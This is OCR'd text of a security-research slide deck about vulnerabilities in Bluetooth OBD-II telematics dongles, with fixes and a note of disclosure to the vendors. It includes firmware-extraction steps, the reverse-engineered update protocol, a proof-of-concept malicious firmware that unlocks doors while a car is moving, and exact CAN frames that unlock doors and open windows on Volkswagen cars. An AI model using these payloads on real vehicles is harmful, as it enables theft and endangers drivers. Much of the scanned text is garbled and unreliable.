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Tencent Hackers Remotely Control Tesla Motors Inc
(TSLA) Model S
Tesla Motors Inc responded with a swift OTA patch resolving the issue

By John Kilhefner, InvestorPlace Assistant Editor | Sep 21, 2016, 11:55 am EDT

u Tesla Motors Inc (NASDAQ:TSLA) had to roll out an over-the-air fix
after Chinese researchers working for Tencent Holdings Ltd
(OTCMKTS:TCTZF) exploited the Model S through a security flaw in its
internet connection.
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TELEMATICS
_/\/\

Global Telematics Mtarket Expected to Grow
at 28.9% CAGR During 2016 - 2022: P&S
Market Research

Feb 17,2016, 09:46 ET from P&S Market Research
The global telematics market is expected to grow from an estimated $26,314.4 million in 2015, and reach $140,100
million by 2022, growing at a CAGR of 28.5% during 2016 - 2022. The growth of the global telematics market is
being driven due to several factors, including government initiatives to include advanced technology in public safety
on roads, increasing demand for premium passenger cars and growing demand for connectivity in vehicles. The use

of telematics has been constantly increasing in insurance sector for tracking the driving conditions to calculate
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TELEMATICS
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TELEMATICS

Data Log
(_for record)

Dashboard Information Monitor

Internet



Twisted pair m

CAN BUS

.

Controller Area Network

2.5V

- Data exchange among ECUs Differential signal

et e

(Electronic Control Unit) e
- More than one CAN bus in a vehicle
Eg: Infotainment CAN bus, Comfort CAN bus,
Diagnostic CAN bus
- Each CAN bus has several ECUs
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CAN MESSAGES
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0BD-II

On-Board Diagnostic

* Conduct emissions-related diagnostics
* Status, DTC...

*» Access selected or all ECUs

* Diagnosis, Re-Configuration, Update
** Action testing

** It can be exploited to attack the vehicle if a
malicious dongle is plugged into it.




0BD-II

16 Pins interface serving for different protocols
- Pin 2&10: SAE J1850PWM, SAE J1850 VPM
- Pin 6&14: 1SO 15765, CAN bus! Winner!

- Pin 7&15: ISO 9141-2, KWP2000

Pin 2 - J1850 Bus+

Pin 4 - Chassis Ground

Pin 5 - Signal Ground

Pin 6 - CAN High (J-2284)
Pin7 - 1SO 9141-2 K Line
Pin 10 - J1850 Bus

Pin 14 - CAN Low (J-2284)
Pin 15-1SO 9141-2 L Line
Pin 16 - Battery Power
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ATTACK SURFACE

» App: Secret in apps, Lack of binary protection, Insecure Data Storage, Data leakage ...
> Device: Does not verify the signature of firmware, Poor authentication, Trust the app, ...

» Communication: Default PINs, No encryption, Vulnerable to MITM attack, ...

Bluetooth




DISCLAIMER

For the following vulnerable telematics devices, we have informed

the corresponding companies about the vulnerabilities and how to
patch them with the help of HKCERT.
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VULNERABLE TELEMATICS A

OBD Device A

G
il

1110

" Microprocessor + Bluetooth + CAN l

Top Board: Bluetooth

=*Communicate with its app through Bluetooth

76 »

B?Hom Board: MCU + CAN



VULNERABLE TELEMATICS A

Monitor CAN Bus (Pin 6&14) Data

\

.- /' \\ e l
! N _//' —

Since the firmware is

not protected, we can
fetch it via SWD or
JTAG directly.

—

Monitor Bluetooth
— Communication (between

MCU and Bluetooth device)

&




VULNERABLE TELEMATICS A

Extract the original firmware! J-Link: JTAG debug tool

JTAG Connector

SWD Mode

GND
VCC
SWDIO
SWCLK

SWD Connector JLINK




VULNERABLE TELEMATICS A

Extract the original firmware!

JTAG Connection

Read via JLINK
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VULNERABLE TELEMATICS A

Perform IAP function

Boot Part

Firmware with
IAP function

Perform Real functions Set flag,

Application Part

oto Boot

Application Part

AP,

lear Flag
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VULNERABLE TELEMATICS A

Analyze application part of the firmware Commands
fddress | @ |1 |2 |3 |4[s|e|[?|2|9 a|B|lc|[Dp]|E]|F|nasciI [«]
80A4920 A4 O7 0P 20 B3 B3 OP 20 B8 B@ GO 20 5C B8 BB 20
80H4930 |41 4C OB B@ 42 44 O O 42 52 44 @@ 42 52 54 AL..BD..BRD.BRT
80B4048 |42 4F 4F 54 00 B0 OO 0@ 43 46 43 0@ 43 46 0O BOOT . . . .CFC.CF.
80B4058 |43 4D OGP B@ 43 52 41 0@ 43 56 B9 @@ 44 58 4E CM..CRA.CU._DPN.
8004060 |44 5P OO B@ 45 B9 00 90 48 49 53 90 48 08 49 DP..E...HIS.H.I.
88B4070 |4C 45 44 B 4C 50 O O 4C B8 DO @@ 4D 41 DO LED.LF..L...MA
8PA40EA |52 54 43 B 52 41 OF OA 52 44 DA @@ 52 56 DO RIC.RA..RD..RU
80H4998 |53 48 OGP B@ 53 5@ 41 O 53 5@ B@ @@ 53 54 PO SH..SPA.SP. ST =
80E40AP |53 56 0P BA 53 B9 OF O 54 5@ B9 @@ 56 4D DO SU..S...TP..UM
80B40BP |56 53 OGP B 57 53 OO O 50 B@ B9 @@ 40 31 0O US..US..Z...B1
89B49CH |49 32 0P BA 4@ 33 0P 98 48 34 30 33 00 OO OO B2..03..0403
88A40DB |48 4C 4F 43 4B @0 0P OO 48 58 57 44 00 08 DO BLOCK. . .BPUD. .. .
8PB4OED |48 41 55 54 43 @0 O OB 48 45 58 49 54 68 DO BAUTH. . .BEXIT. ..
80H40FP |40 53 54 47 @9 B0 O O 48 53 54 53 00 0@ DO BSTG....GBSTS. ...
8004108 |40 53 54 43 00 B0 O 0@ 48 53 54 9@ 54 53 41 BSTC....BST.TSA.
80@4118 |54 53 42 @@ 54 53 46 0@ 54 53 47 9@ 48 53 41 TSB.TSF.TSG.BSAD
8904120 |99 B9 O B 45 31 45 31 3@ 3@ 30 3@ 30 30 39 . ...E1E1 09980000
80A4130 |39 30 30 30 P9 G0 O OO 30 43 38 43 30 43 38 8806 . . . . ACACACHC
89A4140 |30 30 O B@ 38 45 3@ 45 308 45 38 45 30 30 DO 08 . . AEPEGEAEAD . .
80@4150 |30 3@ 30 3@ 30 30 30 30 00 B@ OP 0@ 30 30 DO PEEBEARE . . . .60 .
80B4160 |4E 4F 28 44 41 54 41 0@ 46 42 38 3@ 30 30 30 NO DATA .FROABEER
8094170 |30 30 30 3@ 30 30 30 30 00 B@ OO @@ 30 3@ 30 PEEEEA00 . . . .BEED
8984180 |39 39 30 30 3@ 39 0P 98 3@ 31 30 30 00 OO PO e
89A4190 |39 31 30 31 30 31 0P 9@ 30 31 38 31 30 32 DO A16101 . .616162. .
89@41AP |39 32 30 31 39 31 0P O@ 308 32 38 31 30 32 DO A26101 . .A20162 . .
80H41BA |25 64 28 52 45 43 4F 52 44 20 52 45 4D 4F 56 »d_RECORD BEMOIE
88B41CP |44 2E OB @@ 25 75 2E 25 3@ 32 75 @D OA 3E 0O D...%u.xB82u..>..
80B41DP |42 55 53 2@ 49 4E 49 54 3A 20 B9 @@ 2E 2E 2E BUS INIT: .....
8MB41EA |45 52 52 4F 52 @9 00 98 53 45 41 52 43 48 49 ERROR. . .SEARCHIN ~|

Bluetooth Communication Data

ATDPH
0120
0140
010
010c
D1lle
0900
0101

|ELM327 +1. 58

o —

07 wl6 1

PAT1
ELM3Z2Y wl. 5r- ~vl.b. 1

ATBATTHOABE3311605D0K >

ATZ

ELM327
vl bx

ATED

(]

T

Q>

(]

QE>

T

TE2064100BEIFEE13

227 wl. 6. 1035VEE

b
AUTO, I

50 15765-4 (CAN 11/500)3
LB
b

APP Logs: Control Data

(14577): AT@5TS010101 0

(14577): AT@STS010502 0
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VULNERABLE TELEMATICS A

The bin file in the smartphone.

aucu

Address: |0x8002000

The firmware extracted from the device.

Address: |0x8000000

T 2]

Address

BH02804 | 38 3D

BAG2818 |11 BS

8002828 | B8 08

B@02838 | 77 BS

8A02A48 | CD B?

8AB2858 | DD B?

8AB2868 | ED B?

B@AR2ava | F B?

BAR2A8A | AD B8

BAB2A%8 | AD BS

BAB28A8 | 2D B8

BAG2AEA | 3D B8

BAB2ACA | 4D B8

BAR28D0A

BAB2ZAEA (6D B8

808268FA DF F8

a8
54

28
ag
aa
og
ag
ag
ag
ag
ag
ag
ag
ag
ag

a8
1A

T 2]

90 B? |84
73 BS |84
B8 fa joa
B8 fa joa
D1 B? j@8
E1 B?7 |j@8
Fi1 B?7 |@8
A1 B& A8
11 B& j@8@
Bi BS% j@d@
31 B& j@d
87 BL A8
51 B& j@d

a8
D5 BS @@
CE 6D 14

7
ag
ag
515
A0
ag
ag
ag
ag
ag
as
as
as
as
as
as
5GC

Address

8881FDA | FF FF

8881FEA | FF FF

[215] A | FF _FF
s8aZnAa

8092020 |00 B8
8902038 |77 BS
8002048 |

cDh BY
88az2usa8 | DD BY

8882868 | ED BY
88az287a | FD BY

8882H8A@ @D BR

8882898 | AD BS
88828AA | 2D BR

8882WEA | 3D BR

80828CHA | 4D BB

SAR?ATIA | 1Y

FF
FF
FF
aa

FF
FF
FF
28

FF
FF
FF
D
73

m
El
Fi
a1
11
B
K]
87

51
FR

FF
FF
FF
B?
BS

B?
B?
B?
B8
B8
BS
B8
BS

B8
£q

FF
FF
FF
aa

FF
FF
FF
ag
ag
5 15)

FF
FF
FF
6D
75
515

D5
Fi
F5
a5
15
25
35
8D

55
(A

FF
FF
FF
BS
BS
515
BS

BS
B?
B8
B8
B8
B8
BS

B8
nR

FF
FF
FF
aa
aa
aa
aa

@12 |3|a4|/s5|6|2 8|92 n]TF

F
F
F

Confirmed! The boot
part ends at 8001FFF,

and the application part
starts at 8002000.
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VULNERABLE TELEMATICS A

% i0n o 12 12:38 Q3 4 = 0236
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= et ELM327 v1 ﬁ 5.1035 VME BE 'l _1 K #Hit 00:00
© TiEiiTed)
) . RADAREFEENEEE, EEES
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public final class|AlarmDatal{
publiec class L& =

public static final int Float = 1;

VULNERABLE TELEMATICS A

package com. e cbd:

public static final int Integer 0;
public static final int String = 2;
public |DataType |AlarmData argl) |
Al dewmmewrttlis = argl;
super();
}
private statie final String TAG = "[AlarmData]";

private byte[] mData;
private int mbDatalvpe;
private int mType;

private|flarmbCatalint argl, int argZ, byte[] arg3)

E'.JPEJ_ W rlr
this.mType = argl:
this.mbDatalype = arg;
this.mbata = argl;

public int geLDaLaTypeh] {
return is.mbatalype;

{

Code Snippet: No obfuscation | 'l
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VULNERABLE TELEMATICS A

Bluetooth connection between the app and the device.

Scan and find he device

Connect to the device

Create socket for communication

Establish socket connection

Get input and output stream

BluetoothAdapter.startDiscovery()

BluetoothAdapter.getRemoteDevice()

BluetoothDevice.createlnsecureRfcommSocketToServiceRecord()

BluetoothSocket.connect()

BluetoothSocket.getinputStream()
And BluetoothSocket.getOutputStream()

25



| VULNERABLE TELEMATICS A

Execute the commands

BluetoothSocket.write(byte[])
BluetoothSocket.flush()

Send command

P

g ™
\ ») £
~ —

Receive response
BluetoothSocket.read()




VULNERABLE TELEMATICS A

Dumping the data sent

int write(bytel] b, int offset, int length) throws IC eption {

’rhrough Bluetooth 6y grzite; -+ nSocke 03 + length) ;

+ mincketDs + + Jenzthl -
StringBuffer ()

Il;:;_. format | . bloffzet+i]));

+ =zh. toString [} + + length + + offzet);

brte[] b, int offzet, int lensth) throws I0Exception |

A ] +m + length) ;
tI5. readib, offset, :

StringBuffer () ;

pE: d{5tring. format| . bloffzet+i]));

+ zh. toString () + + length + + offzet);

/src/framework /base /core /java/android /bluetooth /BluetoothSocket.java

27



VULNERABLE TELEMATICS A

Jx0d Dx0a Oxde

230 0x0d Ox0z
A 0x0d Ox0s
z30 0x0d 0x0a
xdl 0x0d Ox0s

D30d 0x0a

Dx0d 0x0a
A0 0x0d Ox0s
x30 0x0d 0x0a

®a 0x0d Ox3e

Dxidd Ox3e

Ox0d Ox5e

004 0x3e

Ox0d 0x3e

Ox0d Qxde

Dxd Oxde

Dxd Ox3e

Ox0d Ox3e

28



VULNERABLE TELEMATICS A

Reverse-engineering the
firmware update protocol

Split the bin file into
fragments (256 bytes)

=

ATLOCKO —
s ACK: >OK

ATBOOT )

e ACK.: ELM 32J7

/

ATBOOT E—)
eeeeeeeeeesssssmmmmm ACK: XXX XX
ATBOOT )

e W \e€ >ATBO¢5T

ATBOOT M)
eeeeeeeeeeessssssmmm . ACK: Ox15 0

Send the 1% fragment ee————————)

V1.5

627 V1.6.1035

(42

eeeeeeeeeeessssssmm ACK: Ox06 %44 0x0D

Send the 2" fragment E———————)
(e ACK: Ox06 C
Send the last fragment

E—
e ACK: Ox06 (
Send “0x04” )

x44 O0x0D

x44 0x0D

—— ACK: 0x06 w)@o?nplefe and™Reboot!
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VULNERABLE TELEMATICS B

OBD Device B
> Microprocessor + Bluetooth + CAN1/CAN2 + Sensor
» No (firmware) W /R protection

» Communicate with its app through Bluetooth
Top Board: Bluetooth

Bottom Board: MCU
+ CAN + Sensor




VULNERABLE TELEMATICS B

Extract the original firmware!

Monitor CANbus Data

Since the firmware is

not protected, we can
extract it via SWD or
JTAG directly.

Monitor Bluetooth
Communication




o yeElE)  TE

AT ACC STOP

VULNERABLE TELEMATICS B ~asasee o
AT A0C 5T
AT LOFF
AT 1
AT 5T19
AT LO
AT =51
Analyze the firmware R
AT EV
AT SP6
Address | B |1 |2 |3 (4[5 |6 |7 8|9 |n|B|c|Dp|E|F | asciI | «] 01 00
SAAE3F® |49 53 4F 28 39 31 34 31 2D 32 8@ B8 42 55 53 28 IS0 9141-2__BUS 01 0D
SABE400 |49 4E 49 54 3A 20 8@ 80 2E 2E 2E 28 45 52 52 4F INIT: ..... ERRO 01 0C
8APE410 |52 0P D@ OO 46 42 20 45 52 52 4F 52 99 9@ 9@ PA@ R__.FB ERROR. ... 01 10
8AAE420 |42 55 53 28 45 52 52 4F 52 B@ 00 B0 43 41 4E |28 BUS ERROR...CAM E,? ESN
8ABE430 |45 52 52 4F 52 60 9@ 00 CO 46 CO 46 CB 46 CO|46 ERROR....F_F.F.F 01 031
8AAE440 |FF F? 34 FF C1 33 F1 81 66 9@ 00 88 41 43 43|53 ..4_.3..f.._ACCS \ e
SARE450 |54 4F 50 B@ 42 4F 4F 54 080 9@ 00 8@ 4C 4F 46 |46 TOP_BOOT..._LOFF 03
SAPE460 B OO B0 PA 52 44 41 54 45 8@ 00 B8 52 50 49 |44 ... _RDATE.._RPID
SARE470 |9 OO B0 BA 52 57 49 44 B0 B B0 B8 54 59 50|45 ... _RUID..._TYPE
SARE480 P 0O B0 BA 4F 4B 25 73 B0 9@ 00 B8 45 52 52 |4F ... _OKxs..._ERRO
8PPE499 |52 25 73 8@ 33 2E 33 2E 38 2E 35 8@ 83 22 22 @3 Rzs.3.3.8.5..""Fikmware Version
8AAE4A® |[FF FF FF FF 25 30 36 78 25 73 00 88 41 55 54 |4F ... _x@6xxs. . AUTO
SAPRE4BP B 0O B@ BA 41 55 54 4F 2C 20 00 88 25 64 2E|25 ... _AUTO, . _xd.x
SAAE4CH |64 56 B0 BA 4E 4F 28 44 41 54 41 89 38 08 05 |8A dU._NO DATA.@...
8ABE4DB |4C CD 6C BB BC C9 2C B0 36 56 76 B8 26 46 66|88 L.1..... 6Uu _&FE .
SARE4EG (92 01 B0 BA OO A2 4A B4 41 43 43 80 41 43 54|@@ ... .. J.ACC.ACT .
SAAE4F® |41 54 30 8@ 41 54 31 O9 41 54 32 B0 43 49 44|88 ATA.ATL.AT2.CID.
8APESO0 |43 41 B0 B 44 5@ 4E 00 44 5@ 00 B0 4B 4D 00|80 CA._DPN.DP..KM.. |
ORARATLCH A A AT AT AR ATy A4 AR AR AT CO AR AR AT CA fAA f rArA Tkl MO W T MT t

0K

AT LOFF

0K

AT I3.5.0.5
AT 5T19

0K

>AT LO

0K

AT 510K

AT EOOK

20K

»12. OV>0K>41 00
ERROR0E>BUS IN
a1 44 34 1: 47
05 36 >41 06 64
»12.0V>41 05 56
07 00 >41 04 25
0C 39 00 >41 0D

33



VULNERABLE TELEMATICS B

Analyze the firmware

ddress: | 0x2002000

Address

8882808
88826818
8AA2A2A8
88828348
8882848
8882858
8882060
88828748
8882888
8882878
88A28nA
88A2HABA
8@azaca
8882ADA
8AA2AEA
88A2AFA
8882108
8882118

Confirmed! The boot part
ends at 8001FFF, and the
application part starts at
8002000 (default)

Firmware from the device

[ 2l

Address:

Firmware from the app

[ 2]

02000000

4 | 5

M
6

Address
80000008

A1 2|3 45|67

888081 8

61 DF 8@ A8 &3 DF B0 @8

8888828

A8 B8 BA A AR B8 B8 BAQ

8888838

67 DF BA A8 AR B8 B8 BAA

80808418

23 C9 8@ A8 93 C? A0 A8

8880A5 A

23 C9 8@ A8 93 C? B0 A8

8808868

23 C? 8@ A8 93 C? B8 B8

8888878

23 C? 8@ A8 93 C? B0 B8

8080A8 A

23 C9 8@ A8 93 C? A0 A8

8880A98

EBE DF 8@ A8 92 C? 80 @8

8888878

23 C? 8@ A8 93 C? B8 B8

88HBHEA

23 C? 8@ A8 93 C? B0 B8

8080ACH

23 C9 8@ A8 93 C? A0 A8

8880ADA

23 C9 8@ A8 93 C? B0 A8

88HBHER

23 C? 8@ A8 1F EA B8 B8

888BAFA

23 C? 8@ A8 93 C? B0 B8

8080108

23 C9 8@ A8 93 C? A0 A8

80880118

23 C9? 8@ A8 23 22 B0 A8

65
a8
6B
23
29
73
73
23
23
73
9
23
BB
73
73
23
23

9
DF
DF
(5]0)
DF
c9
DF
c9
c9
c9
c9
c9
DF
c9
63
c9
c9
c9
c9

A
A
B
BE
Be
A
B
BE
Be
A
B
BE
Be
A
B
BE
Be
A
B
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VULNERABLE TELEMATICS B

int v0 = c.b
if(vD == 0) {
vl = 0;

public class {
public static intl;l
(97152,

}

arg2) |

"APPGUIDEVERSION") ;

else if(a.a(arg2) > v0) {

vo = 1;
}
else |

vo = -1;
}

return v0;

)

private static voitia( text arg2, St arg3) f{
c.o(arg?) .edit (™utInt (arg3, a.a(arg?)).commit();

)

private static int[;l xt arg2, St arg3d) |
return c.o(argZT.getlInt(arg3, 0);

)

public static void b text
c.a(argl, "AP IDEVERSION") ;

}

public static boolc
return c.o(arg4) .®

)

argl) {

arg4d) {
Boolean ("CONNECT ALARM KEY" + w.e(), true);

Code Snippet: Obfuscated !'!'|
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VULNERABLE TELEMATICS B

Application
It employs the pUb"C : : Generic Attribute
API for the Bluetooth ?gggg'CAccess Profile o ofile (GATT)
GATT (Generic Attribute) |
Profile to conduct the Security Manager (SM) | \ttribute Protocol

. (ATT)
communication.

Logical Link Control and Adaption Protocol

Link and RF layer

Bluetooth 4.0 stack
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VULNERABLE TELEMATICS B

Communicate with the device through Bluetooth Low Energy (BLE).

Scan and find the device BluetoothAdapter.startDiscovery/()

Connect to the device BluetoothAdapter.getRemoteDevice()

Connect to GATT server hosted by the device BluetoothDevice.connectGatt(Context, boolean, callback)

Get the services supported by the device BluetoothGatt.getService (UUID)

Select the characteristic for sending command BluetoothGattService.getCharacteristics()
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| VULNERABLE TELEMATICS B

Execute the commands

BluetoothGattCharacteristic.setValue(byte[]) {\
BluetoothGatt.writeCharacteristic()

Send command to the BLE device.

Receive response
BluetoothGatt.onNotify()



VULNERABLE TELEMATICS B

Dumping the data sent through BLE.

1d,
charThiid,
TT_WRITE_HO
. ) + charlid I :
! + characterisztis i
] return

acteriztic) ;

. value[1])1):

+ sh. toStrin

4
4
4
4
4
4
4
4
4
4
4
4
4
4
4

[src/framework/base/core/java/android/bluetooth/BluetoothGatt.java
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VULNERABLE TELEMATICS B

cornmnectl)  — device: JCihn: rBh:FA. anto: talse

Wrrtetnaracteristic: U 41 O F4 Oxd]l 0 4H Oxd3 1 Oxha Oxhd QOxdf 0x50 0x0d Qx0a length: 12
orfotify: Oxdf Oxdb Ox04d unud Oxde 1E1*th 0

yriteCharacteristic: Oxdl 0x54 Oxde Oxdf 0x46 0x4f 0x0d OxDa lensth:

orflotify: Oxdf Oxdb Dxld De0d Dle Tems

writeCharacteris ti-: Ox4]1 Oxhd ﬁ 4H Dx0d 0303 0

onMotify: (0x33 OxZe 0x33 OxZe Ox .xﬁ. D23 Unud HnUd Oxde length:

WIitEChﬁlstﬁllutll: Dxd]l Oxod Oxhd L Jxal Oxd9 Oxld Dx0a
onflotify: Oxdf Oxdb Ox0d OxC ) .j O X 5
writeCharacteriztic: Ox4]l Oxhd Oxde C 3]
onflotify: Oxdf Oxdb C .l..l. 1d .l,.l. 1d Ox




VULNERABLE TELEMATICS B

Reverse-engineering the '
firmware update protocol

Split the bin file into

fragments (256 bytes) :

ATBOOT ——
ATBOOT )

Ceeeeseessssssm . ACK: Ox15
Send the 1° fragment —E——————)

. ACK: Ox06
Send the 2" fragment —————

— ACK: OX06
Send the last fragment =)

eaeses——————— ACK: 0x06

Send “0Ox04” )
< — ACK: 0x06

¢ ; Complete and"Reboot
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ATTACKS VIA COMPROMISED TELEMATICS SYSTEMS

Attacks

- Control: Lock&Unlock doors, Open&Close Windows, Open&Close
Mirror

- Re-Configuration of ECUs




ATTACKS VIA COMPROMISED TELEMATICS SYSTEMS

222 void OBD_AutoAttack_Speed void)
SRy
i
If(CurrentSpeed < SPEED_KM_PER_HOUR(50))
return;

if(AutoAttackDelay)
{

Prepare the POC malicious firmware

return;

AutoAttackDelay = TIMEDELAY_10MS(500); //55
00320 switch(Sys_TickCnt % &)
00321 {

case STEP_RANDOM_0:
Vw_Insert_Op(VW_OP_UNLOCK);
BlueFlashFlag = 0x01;
break;

Re-Implement
some original
functions

Automated attacks
that will be executed if

Attack

case STEP_RANDOM_1;

oge 122 vod OBD_BT_CustomizedAttack(us Len, w2 “Dat)
conditions are soszs: ¢

124 uE Bufff4o];
satisfied.

Functions

a01ze IF{('A” == Dat{o]) && (T' == Dat{1])) b

{ ;

apize: switch(Dat[2])
=s z

N 00128:
00230: case 'a': // AT a:UnLock

D r I Ve rS 00313L: Vw_Insert _op'(v;r_op‘_um_cco(]:
D13z: BlueFlashFlag = 0x01;

Customized attacks break: b
triggered by doise: o vw. Insers_ Op(u.O_LOCK)
commands sent

CAN Bluetooth RENEEEEEE = ommandssent = i gl BlueFlashFiag ~ 0x01;
J through Bluetooth

break;

case C: // AT c:Window up
Vw_Insert_Op{vW_OP_WOW_UP);
BlueFlashFlag = 0x01;
break;

case 'd: // AT d: Window Dn
Vw_Insert_Op{VW_OP_WOW_DN);
BlueFlashFlag = 0x01;

break;
Attack Methods coseei AT mmOm

BlueFlashFlag = 0x01;
break;

Hardware

00155 case f: // RVM Close
0D186 Vw_Insert_Op(VW_OF_RVM_CLOSE);
00157 BlueFlashFlag = 0x01;

break:
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ATTACKS VIA COMPROMISED TELEMATICS SYSTEMS

Test Vehicles
- Tiguan 2015 1.8T
- Magotan 2015 1.8T

Vehicles running the same platform from Volkswagen
can also be controlled by the OBD messages shown in
the following slides!




ATTACKS

Unlock Doors

CAN ID DLC
8
Ox74A 8
8
Lock Doors
CAN ID DLC
8
Ox74A 8
8

DATA
{0x10,0x08,0x2F,0x04,0x03,0x03,0xFF,0x03}

{0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}
{0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}

DATA
{0x10,0x08,0x2F,0x04,0x03,0x03,0xFF,0x01}
{0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}
{0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}
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ATTACKS

CANID

Ox74A
Ox74B

Ox74A
Ox74B

Open Windows

DLC

DATA

{0x10,0x08,0x2F,0x04,0x02,0x03,0x05,0x00}
{0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}
{0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}

{0x10,0x08,0x2F,0x04,0x06,0x03,0x05,0x00}
{0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}

{0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}

CANID

Ox74A
Ox74B

Ox74A
0x74B

DATA
{0x10,0x08,0x2F,0x04,0x01,0x03,0x0A,0x00}
{0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}

{0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}

{0x10,0x08,0x2F,0x04,0x05,0x03,0x0A,0x00}
{0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}
{0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}
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ATTACKS

Close Outside Rear View Mirror

CANID DLC DATA

8 {0x10,0x08,0x2F,0x04,0x0C,0x03,0xFF,0x01}
Ox74A 8 {0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}

8 {0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}

Open Outside Rear View Mirror
CANID  DLC DATA

8 {0x10,0x08,0x2F,0x04,0x0C,0x03,0xFF,0x02}
0x74A 8  {0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00}

8 {0x30,0x00,0x14,0x00,0x00,0x00,0x00,0x00}
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HOW TO FIX THE VULNERABILITY?

The device should verify the signature of a firmware before installing it;
Mutual authentication;

The communication between the app and the device should be protected by
keys/PINs specific to individual users;

Hardened the apps and do not leave secrete (e.g., .bin and PINs) in the apps.
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CONCLUSIONS

Discover severe vulnerabilities in popular telematics systems.
Confirm these vulnerabilities through POC attacks on real vehicles.
Propose approaches for fixing these vulnerabilities.

Notify the companies.
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WE ARE LOOKING FOR

PhD students with full scholarship

Postdoctoral Fellow and Research Assistants with competitive salary

Topics:

Android or System Security and Privacy,
Network Security and Privacy
Blockchain technology

Accountable anonymous credentials
Searchable encryption

Contact:
Dr. Xiapu Luo (https://www4.comp.polyu.edu.hk /~csxluo/)
Dr. Man Ho Allen Au (http://www.comp.polyu.edu.hk/~csallen/)
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THANKS!
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